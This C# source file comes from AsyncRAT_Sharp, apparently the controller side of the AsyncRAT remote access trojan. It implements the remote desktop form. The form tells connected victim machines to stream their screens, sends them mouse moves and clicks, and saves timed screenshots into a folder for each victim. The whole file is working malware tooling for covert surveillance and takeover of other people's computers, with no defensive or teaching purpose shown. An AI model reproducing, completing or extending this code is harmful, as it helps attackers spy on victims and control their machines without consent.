using StreamLibrary;
using StreamLibrary.UnsafeCodecs;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using AsyncRAT_Sharp.Sockets;
using AsyncRAT_Sharp.MessagePack;
using System.Threading;
using System.Drawing.Imaging;
using System.IO;
using Encoder = System.Drawing.Imaging.Encoder;

namespace AsyncRAT_Sharp.Forms
{
    public partial class FormRemoteDesktop : Form
    {
        public FormRemoteDesktop()
        {
            InitializeComponent();
        }

        public Form1 F { get; set; }
        internal Clients C { get; set; }
        internal Clients C2 { get; set; }
        public bool Active { get; set; }
        public int FPS = 0;
        public Stopwatch sw = Stopwatch.StartNew();
        public Stopwatch RenderSW = Stopwatch.StartNew();
        public IUnsafeCodec decoder = new UnsafeStreamCodec(60);
        public Size rdSize;
        private bool isMouse = false;
        private void timer1_Tick(object sender, EventArgs e)
        {
            if (!C.ClientSocket.Connected) this.Close();
        }

        private void Button2_Click(object sender, EventArgs e)
        {
            if (panel1.Visible == false)
            {
                panel1.Visible = true;
                button2.Top = panel1.Bottom + 5;
                button2.BackgroundImage = Properties.Resources.arrow_up;
            }
            else
            {
                panel1.Visible = false;
                button2.Top = pictureBox1.Top + 5;
                button2.BackgroundImage = Properties.Resources.arrow_down;
            }
        }

        private void FormRemoteDesktop_Load(object sender, EventArgs e)
        {
            try
            {
                button2.Top = panel1.Bottom + 5;
                button2.Left = pictureBox1.Width / 2;
                button1.Tag = (object)"stop";
                button2.PerformClick();
            }
            catch { }
        }

        private void Button1_Click(object sender, EventArgs e)
        {
            if (button1.Tag == (object)"play")
            {
                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                msgpack.ForcePathObject("Option").AsString = "capture";
                msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value);
                msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value);
                decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
                ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
                numericUpDown1.Enabled = false;
                numericUpDown2.Enabled = false;
                button1.Tag = (object)"stop";
                button1.BackgroundImage = Properties.Resources.stop__1_;
            }
            else
            {
                button1.Tag = (object)"play";
                try
                {
                    C2.Disconnected();
                    C2 = null;
                }
                catch { }
                numericUpDown1.Enabled = true;
                numericUpDown2.Enabled = true;
                button1.BackgroundImage = Properties.Resources.play_button;
            }
        }

        private void FormRemoteDesktop_ResizeEnd(object sender, EventArgs e)
        {
            button2.Left = pictureBox1.Width / 2;
        }

        private void BtnSave_Click(object sender, EventArgs e)
        {
            if (button1.Tag == (object)"stop")
            {
                if (timerSave.Enabled)
                {
                    timerSave.Stop();
                    btnSave.BackgroundImage = Properties.Resources.save_image;
                }
                else
                {
                    timerSave.Start();
                    btnSave.BackgroundImage = Properties.Resources.save_image2;
                    string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID);
                    if (Directory.Exists(fullPath))
                        Process.Start(fullPath);
                }
            }
        }

        private void TimerSave_Tick(object sender, EventArgs e)
        {
            try
            {
                string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\RemoteDesktop");
                if (!Directory.Exists(fullPath))
                    Directory.CreateDirectory(fullPath);
                Encoder myEncoder = Encoder.Quality;
                EncoderParameters myEncoderParameters = new EncoderParameters(1);
                EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, 50L);
                myEncoderParameters.Param[0] = myEncoderParameter;
                ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg);
                pictureBox1.Image.Save(fullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters);
                myEncoderParameters?.Dispose();
                myEncoderParameter?.Dispose();
            }
            catch { }
        }

        private ImageCodecInfo GetEncoder(ImageFormat format)
        {
            ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders();
            foreach (ImageCodecInfo codec in codecs)
            {
                if (codec.FormatID == format.Guid)
                {
                    return codec;
                }
            }
            return null;
        }

        private void PictureBox1_MouseDown(object sender, MouseEventArgs e)
        {
            try
            {
                if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse)
                {
                    Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height));
                    int button = 0;
                    if (e.Button == MouseButtons.Left)
                        button = 2;
                    if (e.Button == MouseButtons.Right)
                        button = 8;

                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                    msgpack.ForcePathObject("Option").AsString = "mouseClick";
                    msgpack.ForcePathObject("X").AsInteger = p.X;
                    msgpack.ForcePathObject("Y").AsInteger = p.Y;
                    msgpack.ForcePathObject("Button").AsInteger = button;
                    ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes());
                }
            }
            catch { }
        }

        private void PictureBox1_MouseUp(object sender, MouseEventArgs e)
        {
            try
            {
                if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse)
                {
                    Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height));
                    int button = 0;
                    if (e.Button == MouseButtons.Left)
                        button = 4;
                    if (e.Button == MouseButtons.Right)
                        button = 16;

                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                    msgpack.ForcePathObject("Option").AsString = "mouseClick";
                    msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
                    msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
                    msgpack.ForcePathObject("Button").AsInteger = (Int32)(button);
                    ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes());
                }
            }
            catch { }
        }

        private void PictureBox1_MouseMove(object sender, MouseEventArgs e)
        {
            try
            {
                if (pictureBox1.Image != null && this.ContainsFocus && isMouse)
                {
                    Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height));
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                    msgpack.ForcePathObject("Option").AsString = "mouseMove";
                    msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
                    msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
                    ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes());
                }
            }
            catch { }
        }

        private void Button3_Click(object sender, EventArgs e)
        {
            if (isMouse)
            {
                isMouse = false;
                btnMouse.BackgroundImage = Properties.Resources.mouse;
            }
            else
            {
                isMouse = true;
                btnMouse.BackgroundImage = Properties.Resources.mouse_enable;
            }
        }
    }
}
